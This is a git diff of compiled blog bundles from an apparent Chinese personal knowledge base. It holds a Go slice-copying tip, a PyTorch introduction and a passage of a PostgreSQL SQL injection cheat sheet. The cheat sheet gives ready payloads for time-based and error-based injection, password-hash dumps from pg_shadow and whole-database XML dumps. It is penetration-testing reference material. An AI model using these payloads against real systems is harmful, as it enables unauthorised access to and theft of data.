[]string{"\u5403\u996d", "\u7761\u89c9", "\u6253\u8c46\u8c46"}\n\tp1.SetDreams(data)\n\n\t// \u4f60\u771f\u7684\u60f3\u8981\u4fee\u6539 p1.dreams \u5417\uff1f\n\tdata[1] = "\u4e0d\u7761\u89c9"\n\tfmt.Println(p1.dreams) // ?\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u786e\u7684\u505a\u6cd5\u662f\u5728\u65b9\u6cd5\u4e2d\u4f7f\u7528\u4f20\u5165\u7684slice\u7684\u62f7\u8d1d\u8fdb\u884c\u7ed3\u6784\u4f53\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func (p *Person) SetDreams(dreams []string) {\n\tp.dreams = make([]string, len(dreams))\n\tcopy(p.dreams, dreams)\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u7684\u95ee\u9898\u4e5f\u5b58\u5728\u4e8e\u8fd4\u56de\u503cslice\u548cmap\u7684\u60c5\u51b5\uff0c\u5728\u5b9e\u9645\u7f16\u7801\u8fc7\u7a0b\u4e2d\u4e00\u5b9a\u8981\u6ce8\u610f\u8fd9\u4e2a\u95ee\u9898\u3002"})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/7d569ca4.86fe68a4.js b/en/assets/js/7d569ca4.86fe68a4.js new file mode 100644 index 0000000..9b28663 --- /dev/null +++ b/en/assets/js/7d569ca4.86fe68a4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8960],{28453:(e,n,r)=>{r.d(n,{R:()=>h,x:()=>l});var t=r(96540);const s={},c=t.createContext(s);function h(e){const n=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:h(e.components),t.createElement(c.Provider,{value:n},e.children)}},73141:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/main_compare-aefbdbcbf1a2461ad1570cbfcf42331e.png"},84856:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>l,default:()=>a,frontMatter:()=>h,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","title":"1.1 PyTorch\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e00\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"},"next":{"title":"1.2 PyTorch\u7684\u5b89\u88c5.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"}}');var s=r(74848),c=r(28453);const h={},l="1.1 PyTorch\u7b80\u4ecb.md",o={},i=[{value:"1.1.1 PyTorch\u7684\u53d1\u5c55",id:"111-pytorch\u7684\u53d1\u5c55",level:2},{value:"1.1.2 PyTorch\u7684\u4f18\u52bf",id:"112-pytorch\u7684\u4f18\u52bf",level:2}];function d(e){const n={a:"a",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"11-pytorch\u7b80\u4ecbmd",children:"1.1 PyTorch\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"11-pytorch\u7b80\u4ecb",children:"1.1 PyTorch\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.p,{children:"PyTorch\u662f\u7531Meta AI(Facebook)\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u5c0f\u7ec4\u5f00\u53d1\u7684\u4e00\u79cd\u57fa\u4e8eLua\u7f16\u5199\u7684Torch\u5e93\u7684Python\u5b9e\u73b0\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\uff0c\u76ee\u524d\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5b66\u672f\u754c\u548c\u5de5\u4e1a\u754c\uff0c\u76f8\u8f83\u4e8eTensorflow2.x\uff0cPyTorch\u5728API\u7684\u8bbe\u8ba1\u4e0a\u66f4\u52a0\u7b80\u6d01\u3001\u4f18\u96c5\u548c\u6613\u61c2\u3002\u56e0\u6b64\u672c\u8bfe\u7a0b\u6211\u4eec\u9009\u62e9PyTorch\u6765\u8fdb\u884c\u5f00\u6e90\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u7684\u53d1\u5c55\u6d41\u7a0b"}),"\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u76f8\u8f83\u4e8e\u5176\u4ed6\u6846\u67b6\u7684\u4f18\u52bf"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"111-pytorch\u7684\u53d1\u5c55",children:"1.1.1 PyTorch\u7684\u53d1\u5c55"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u201cAll in PyTorch\u201d"}),"\uff0c\u5bf9\u4e8ePyTorch\u7684\u53d1\u5c55\u6211\u4eec\u53ea\u80fd\u7528\u4e00\u53e5\u8bdd\u6765\u6982\u51b5\u4e86\uff0cPyTorch\u81ea\u4ece\u63a8\u51fa\u5c31\u83b7\u5f97\u5de8\u5927\u7684\u5173\u6ce8\u5e76\u53d7\u5230\u4e86\u5f88\u591a\u4eba\u7684\u559c\u6b22\uff0c\u800c\u6700\u76f4\u89c2\u7684\u83ab\u8fc7\u4e8e\u4e0b\u9762\u6570\u636e\u6240\u8868\u73b0\u7684\u7b80\u660e\u76f4\u4e86\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0b\u56fe\u6765\u81ea",(0,s.jsx)(n.a,{href:"https://paperswithcode.com/trends",children:"Paper with code"}),"\u7f51\u7ad9\uff0c",(0,s.jsx)(n.strong,{children:"\u989c\u8272\u9762\u79ef\u4ee3\u8868\u4f7f\u7528\u8be5\u6846\u67b6\u7684\u8bba\u6587\u516c\u5f00\u4ee3\u7801\u5e93\u7684\u6570\u91cf"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u622a\u81f32021\u5e746\u6708\uff0cPyTorch\u7684\u4ee3\u7801\u5b9e\u73b0\u5df2\u7ecf\u662fTensorFlow\u5b9e\u73b0\u76844\u500d\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u770b\u7ea2\u8272\u90e8\u5206\u7684PyTorch\u6b63\u5728\u53d6\u4ee3\u4ed6\u7684\u8001\u5927\u54e5\u79f0\u9738\u5b66\u672f\u5708\uff0cPyTorch\u4f1a\u501f\u52a9ONNX\u6240\u5e26\u6765\u7684\u843d\u5730\u80fd\u529b\u5728\u5de5\u4e1a\u754c\u9010\u6e10\u8d70\u5411\u4e3b\u5bfc\u5730\u4f4d\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u5fc5\u987b\u627f\u8ba4\u5230\u73b0\u5728\u4e3a\u6b62PyTorch 1.x\u8fd8\u662f\u6709\u4e0d\u5982\u522b\u7684\u6846\u67b6\u7684\u5730\u65b9\uff0c\u4f46\u662f\u6211\u4eec\u76f8\u4fe1PyTorch 2.x\u7248\u672c\u4f1a\u7ed9\u6211\u4eec\u5e26\u6765\u66f4\u5927\u7684\u60ca\u559c\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6846\u67b6\u5bf9\u6bd4\u56fe",src:r(73141).A+"",width:"1229",height:"656"})}),"\n",(0,s.jsx)(n.h2,{id:"112-pytorch\u7684\u4f18\u52bf",children:"1.1.2 PyTorch\u7684\u4f18\u52bf"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u66f4\u52a0\u7b80\u6d01"}),"\uff0c\u76f8\u6bd4\u4e8e\u5176\u4ed6\u7684\u6846\u67b6\uff0cPyTorch\u7684\u6846\u67b6\u66f4\u52a0\u7b80\u6d01\uff0c\u6613\u4e8e\u7406\u89e3\u3002PyTorch\u7684\u8bbe\u8ba1\u8ffd\u6c42\u6700\u5c11\u7684\u5c01\u88c5\uff0c\u907f\u514d\u91cd\u590d\u9020\u8f6e\u5b50\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u4e0a\u624b\u5feb"}),"\uff0c\u638c\u63e1numpy\u548c\u57fa\u672c\u7684\u6df1\u5ea6\u5b66\u4e60\u77e5\u8bc6\u5c31\u53ef\u4ee5\u4e0a\u624b\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["PyTorch\u6709\u7740",(0,s.jsx)(n.strong,{children:"\u826f\u597d\u7684\u6587\u6863\u548c\u793e\u533a\u652f\u6301"}),"\uff0c\u4f5c\u8005\u4eb2\u81ea\u7ef4\u62a4\u7684\u8bba\u575b\u4f9b\u7528\u6237\u4ea4\u6d41\u548c\u6c42\u6559\u95ee\u9898\u3002Meta AI(Facebook AI)\u5bf9PyTorch\u63d0\u4f9b\u4e86\u5f3a\u529b\u652f\u6301\uff0c\u4f5c\u4e3a\u5f53\u4eca\u6392\u540d\u524d\u4e09\u7684\u6df1\u5ea6\u5b66\u4e60\u7814\u7a76\u673a\u6784\uff0cMAIR\u7684\u652f\u6301\u8db3\u4ee5\u786e\u4fddPyTorch\u83b7\u5f97\u6301\u7eed\u7684\u5f00\u53d1\u66f4\u65b0\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u9879\u76ee\u5f00\u6e90"}),"\uff0c\u5728Github\u4e0a\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5f00\u6e90\u4ee3\u7801\u662f\u4f7f\u7528PyTorch\u8fdb\u884c\u5f00\u53d1\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u53ef\u4ee5",(0,s.jsx)(n.strong,{children:"\u66f4\u597d\u7684\u8c03\u8bd5\u4ee3\u7801"}),"\uff0cPyTorch\u53ef\u4ee5\u8ba9\u6211\u4eec\u9010\u884c\u6267\u884c\u6211\u4eec\u7684\u811a\u672c\u3002\u8fd9\u5c31\u50cf\u8c03\u8bd5NumPy\u4e00\u6837 \u2013 \u6211\u4eec\u53ef\u4ee5\u8f7b\u677e\u8bbf\u95ee\u4ee3\u7801\u4e2d\u7684\u6240\u6709\u5bf9\u8c61\uff0c\u5e76\u4e14\u53ef\u4ee5\u4f7f\u7528\u6253\u5370\u8bed\u53e5\uff08\u6216\u5176\u4ed6\u6807\u51c6\u7684Python\u8c03\u8bd5\uff09\u6765\u67e5\u770b\u65b9\u6cd5\u5931\u8d25\u7684\u4f4d\u7f6e\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8d8a\u6765\u8d8a\u5b8c\u5584\u7684\u6269\u5c55\u5e93\uff0c\u6d3b\u529b\u65fa\u76db\uff0c\u6b63\u5904\u5728",(0,s.jsx)(n.strong,{children:"\u5f53\u6253\u4e4b\u5e74"}),"\u3002"]}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/7eab5c7a.423f52a1.js b/en/assets/js/7eab5c7a.423f52a1.js new file mode 100644 index 0000000..0760dc4 --- /dev/null +++ b/en/assets/js/7eab5c7a.423f52a1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7890],{28453:(e,s,l)=>{l.d(s,{R:()=>a,x:()=>c});var n=l(96540);const t={},r=n.createContext(t);function a(e){const s=n.useContext(r);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function c(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:a(e.components),n.createElement(r.Provider,{value:s},e.children)}},94977:(e,s,l)=>{l.r(s),l.d(s,{assets:()=>i,contentTitle:()=>c,default:()=>h,frontMatter:()=>a,metadata:()=>n,toc:()=>d});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","title":"PostgreSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/05.PostgreSQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/05.PostgreSQL.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL"},"next":{"title":"SQLite","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite"}}');var t=l(74848),r=l(28453);const a={},c=void 0,i={},d=[{value:"PostgreSQL \u6ce8\u91ca",id:"postgresql-\u6ce8\u91ca",level:2},{value:"PostgreSQL \u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",id:"postgresql-\u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",level:2},{value:"PostgreSQL \u7248\u672c",id:"postgresql-\u7248\u672c",level:2},{value:"PostgreSQL \u5f53\u524d\u7528\u6237",id:"postgresql-\u5f53\u524d\u7528\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u7528\u6237",id:"postgresql-\u5217\u8868\u7528\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u5bc6\u7801\u54c8\u5e0c",id:"postgresql-\u5217\u8868\u5bc6\u7801\u54c8\u5e0c",level:2},{value:"PostgreSQL \u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",id:"postgresql-\u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u6743\u9650",id:"postgresql-\u5217\u8868\u6743\u9650",level:2},{value:"PostgreSQL \u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",id:"postgresql-\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",level:2},{value:"PostgreSQL \u6570\u636e\u5e93\u540d\u79f0",id:"postgresql-\u6570\u636e\u5e93\u540d\u79f0",level:2},{value:"PostgreSQL \u5217\u8868\u6570\u636e\u5e93",id:"postgresql-\u5217\u8868\u6570\u636e\u5e93",level:2},{value:"PostgreSQL \u5217\u8868\u8868",id:"postgresql-\u5217\u8868\u8868",level:2},{value:"PostgreSQL \u5217\u8868\u5217",id:"postgresql-\u5217\u8868\u5217",level:2},{value:"PostgreSQL \u57fa\u4e8e\u9519\u8bef",id:"postgresql-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"PostgreSQL \u57fa\u4e8eXML",id:"postgresql-\u57fa\u4e8exml",level:2},{value:"PostgreSQL \u57fa\u4e8e\u76f2\u6ce8",id:"postgresql-\u57fa\u4e8e\u76f2\u6ce8",level:2},{value:"PostgreSQL \u57fa\u4e8e\u65f6\u95f4",id:"postgresql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",id:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",level:4},{value:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",id:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",level:4},{value:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",id:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",level:4},{value:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",id:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",level:4},{value:"PostgreSQL \u5806\u53e0\u67e5\u8be2",id:"postgresql-\u5806\u53e0\u67e5\u8be2",level:2},{value:"PostgreSQL \u6587\u4ef6\u8bfb\u53d6",id:"postgresql-\u6587\u4ef6\u8bfb\u53d6",level:2},{value:"PostgreSQL \u6587\u4ef6\u5199\u5165",id:"postgresql-\u6587\u4ef6\u5199\u5165",level:2},{value:"PostgreSQL \u547d\u4ee4\u6267\u884c",id:"postgresql-\u547d\u4ee4\u6267\u884c",level:2},{value:"2019 \u5e74 9 \u6708 19 \u65e5",id:"2019-\u5e74-9-\u6708-19-\u65e5",level:3},{value:"\u4f7f\u7528 libc.so.6",id:"\u4f7f\u7528-libcso6",level:3},{value:"\u65c1\u901a\u8fc7\u6ee4\u5668",id:"\u65c1\u901a\u8fc7\u6ee4\u5668",level:3},{value:"\u62a5\u4ef7",id:"\u62a5\u4ef7",level:4},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(s.table,{children:[(0,t.jsx)(s.thead,{children:(0,t.jsxs)(s.tr,{children:[(0,t.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(s.tbody,{children:(0,t.jsxs)(s.tr,{children:[(0,t.jsx)(s.td,{style:{textAlign:"left"},children:(0,t.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6ce8\u91ca",children:"PostgreSQL \u6ce8\u91ca"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"--\n/**/ \n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",children:"PostgreSQL \u94fe\u6ce8\u5165\u70b9\u7b26\u53f7"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.\n|| #or statement \n\n# usage examples: \n/?whatever=1;(select 1 from pg_sleep(5))\n/?whatever=1||(select 1 from pg_sleep(5))\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u7248\u672c",children:"PostgreSQL \u7248\u672c"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT version()\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5f53\u524d\u7528\u6237",children:"PostgreSQL \u5f53\u524d\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT user;\nSELECT current_user;\nSELECT session_user;\nSELECT usename FROM pg_user;\nSELECT getpgusername();\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u7528\u6237",children:"PostgreSQL \u5217\u8868\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename FROM pg_user\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u5bc6\u7801\u54c8\u5e0c",children:"PostgreSQL \u5217\u8868\u5bc6\u7801\u54c8\u5e0c"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename, passwd FROM pg_shadow \n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",children:"PostgreSQL \u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename FROM pg_user WHERE usesuper IS TRUE\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u6743\u9650",children:"PostgreSQL \u5217\u8868\u6743\u9650"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",children:"PostgreSQL \u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SHOW is_superuser; \nSELECT current_setting('is_superuser');\nSELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6570\u636e\u5e93\u540d\u79f0",children:"PostgreSQL \u6570\u636e\u5e93\u540d\u79f0"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT current_database()\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u6570\u636e\u5e93",children:"PostgreSQL \u5217\u8868\u6570\u636e\u5e93"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT datname FROM pg_database\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u8868",children:"PostgreSQL \u5217\u8868\u8868"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT table_name FROM information_schema.tables\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u5217",children:"PostgreSQL \u5217\u8868\u5217"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT column_name FROM information_schema.columns WHERE table_name='data_table'\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u9519\u8bef",children:"PostgreSQL \u57fa\u4e8e\u9519\u8bef"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:",cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)\n,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--\n,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--\n,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)\n\n' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1\n' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1\n' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1\n' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8exml",children:"PostgreSQL \u57fa\u4e8eXML"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row\n"})}),"\n",(0,t.jsxs)(s.p,{children:["\u4e0a\u9762\u7684 ",(0,t.jsx)(s.code,{children:"query_to_xml"})," \u5c06\u6307\u5b9a\u67e5\u8be2\u7684\u6240\u6709\u7ed3\u679c\u4f5c\u4e3a\u5355\u4e2a\u7ed3\u679c\u8fd4\u56de\u3002\u5c06\u5176\u4e0e",(0,t.jsx)(s.a,{href:"#postgresql-error-based",children:"PostgreSQL \u57fa\u4e8e\u9519\u8bef"}),"\u6280\u672f\u76f8\u7ed3\u5408\uff0c\u4ee5\u6392\u9664\u8fc7\u6ee4\u6570\u636e\uff0c\u800c\u4e0d\u5fc5\u62c5\u5fc3 ",(0,t.jsx)(s.code,{children:"LIMIT"})," \u5c06\u67e5\u8be2\u8fd4\u56de\u4e00\u4e2a\u7ed3\u679c\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select database_to_xml(true,true,''); -- dump the current database to XML\nselect database_to_xmlschema(true,true,''); -- dump the current db to an XML 